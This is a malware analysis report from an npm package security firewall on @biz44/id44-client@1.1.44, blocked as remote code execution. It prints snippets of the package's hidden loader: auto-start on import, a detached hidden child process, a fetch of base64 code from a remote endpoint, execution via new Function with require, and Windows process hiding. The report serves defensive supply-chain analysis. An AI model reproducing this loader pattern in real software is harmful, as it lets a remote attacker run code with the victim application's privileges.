--- canonical: "https://firewall.lpm.dev/npm/@biz44/id44-client/v/1.1.44" markdown: "https://firewall.lpm.dev/npm/@biz44/id44-client/v/1.1.44.md" package: "@biz44/id44-client" report_status: "published" title: "@biz44/id44-client@1.1.44 npm security report" verdict: "malicious" version: "1.1.44" --- # @biz44/id44-client@1.1.44 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The remote endpoint can run arbitrary code with the importing application's privileges and maintain a background process. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.1.44 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-16167 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Importing the package starts a detached background process. That process downloads attacker-controlled JavaScript and executes it with Node module-loading access. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-14T01:38:47.243Z - **Finished:** 2026-09-14T01:39:23.954Z - **Download time:** 768 ms - **Static scan time:** 22 ms - **AI review time:** 35920 ms - **Total time:** 36711 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Importing the package starts a detached background process. That process downloads attacker-controlled JavaScript and executes it with Node module-loading access. - **Trigger:** Importing the package's main entrypoint. - **Impact:** The remote endpoint can run arbitrary code with the importing application's privileges and maintain a background process. - **Evidence paths:** index.js, init.js, loader.js - **Review source:** ai\_review - **Reviewed:** 2026-09-14T01:39:23.954Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Detached remote payload download and Function-based execution. - **Attack narrative:** A normal application import calls initialize. It starts loader.js as a detached process with hidden standard streams and writes a PID marker. The loader requests a fixed remote endpoint, decodes its code field from base64, and passes it to Function with require, module paths, and exports. The endpoint therefore controls code executed under the host application's privileges. - **Rationale:** This is concrete remote code execution activated by an ordinary import, combined with detached-process persistence and process-hiding behavior. The lack of an npm lifecycle hook does not mitigate the runtime attack. - **Files touched:** index.js, init.js, loader.js, .pid - **Network endpoints:** https://api.npoint.io/24c12c4b66a29747764f ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Importing the main entry automatically starts initialization., Initialization launches a detached, hidden loader and records its PID., The loader fetches a remote response from api.npoint.io., Remote base64 data is executed with Function and receives require., The loader globally intercepts child\_process loading and hides Windows processes. - **Evidence against:** package.json has no npm preinstall, install, or postinstall lifecycle hook. ## Affected versions and remediation This report applies to @biz44/id44-client@1.1.44. - Avoid installing @biz44/id44-client@1.1.44. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** init.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: import { spawn } from 'child_process'; L2: import { dirname, join } from 'path'; ``` ### 3. High: Shell - **Category:** Source - **Confidence:** 85.0% Package source references shell execution. ### 4. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** loader.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L75: L76: new Function("require", "__dirname", "__filename", "module", "exports", decodedCode)( L77: require, __dirname, __filename, module, exports ``` ### 5. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 6. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 7. High: Sandbox Evasion Gated Capability - **Category:** Source - **Confidence:** 84.0% - **Path:** loader.js - **Public source:** [View source]() Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks. Public source snippet (untrusted): ```javascript L1: import https from "https"; L2: import { fileURLToPath } from "url"; ... L7: const __filename = fileURLToPath(import.meta.url); L8: const __dirname = dirname(__filename); L9: const require = createRequire(import.meta.url); ... L12: L13: // Intercept child_process require calls for Windows compatibility L14: const originalRequire = Module.prototype.require; ... L22: module.spawn = function(cmd, args, options = {}) { L23: if (process.platform === "win32" && !options.windowsHide) { L24: options.windowsHide = true; ... L31: const { spawnSync } = require('child_process'); ``` ### 8. High: Cross File Remote Execution Context - **Category:** Source - **Confidence:** 72.0% - **Path:** init.js - **Public source:** [View source]() Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking. Public source snippet (untrusted): ```javascript Cross-file remote execution chain: init.js spawns loader.js; helper contains network access plus dynamic code execution. L1: import { spawn } from 'child_process'; L2: import { dirname, join } from 'path'; ... L5: L6: const __dirname = dirname(fileURLToPath(import.meta.url)); L7: const PID_FILE = join(__dirname, '.pid'); ``` ### 9. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Importing the main entry automatically starts initialization. Public source snippet (untrusted): ```javascript import initialize from './init.js'; // Auto-start on import initialize(); ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** init.js - **Public source:** [View source]() Initialization launches a detached, hidden loader and records its PID. Public source snippet (untrusted): ```javascript const child = spawn('node', [LOADER], { stdio: ['ignore', 'ignore', 'ignore'], windowsHide: true, shell: false, cwd: __dirname, detached: true }); child.unref(); try { writeFileSync(PID_FILE, child.pid.toString()); ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** loader.js - **Public source:** [View source]() The loader fetches a remote response from api.npoint.io. Public source snippet (untrusted): ```javascript https.get(API_KEY, (r) => { let d = ""; r.on("data", (c) => { d += c; }); r.on("end", () => { try { const json = JSON.parse(d); const code = json.code; if (!code) return; const decodedCode = Buffer.from(code, "base64").toString("utf8"); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 2 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 2 ### Published dependency entries - form-data ^4.0.0 (Dependency) - node-windows ^1.0.0-beta.8 (Dependency) ## Package metadata - **Package:** @biz44/id44-client - **Ecosystem:** npm - **Version:** 1.1.44 - **License:** MIT - **Version published:** 2026-09-12T08:03:37.990Z - **Package first seen:** 2026-09-14T01:39:23.954Z - **Package last seen:** 2026-09-14T01:39:23.954Z - **Known versions:** 1 - **Latest version:** 1.1.44 - **Appeal under review:** No - **Description:** embedded module for device information collection. Educational and enterprise use. - **Author:** Your Company - **Keywords:** embedded-client, device-info, system-monitoring, remote-execution, enterprise - **Runtime engines:** node: \>=14.0.0 - **Artifact files:** 6 - **Artifact unpacked size:** 13,247 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]() - [OSV advisory]()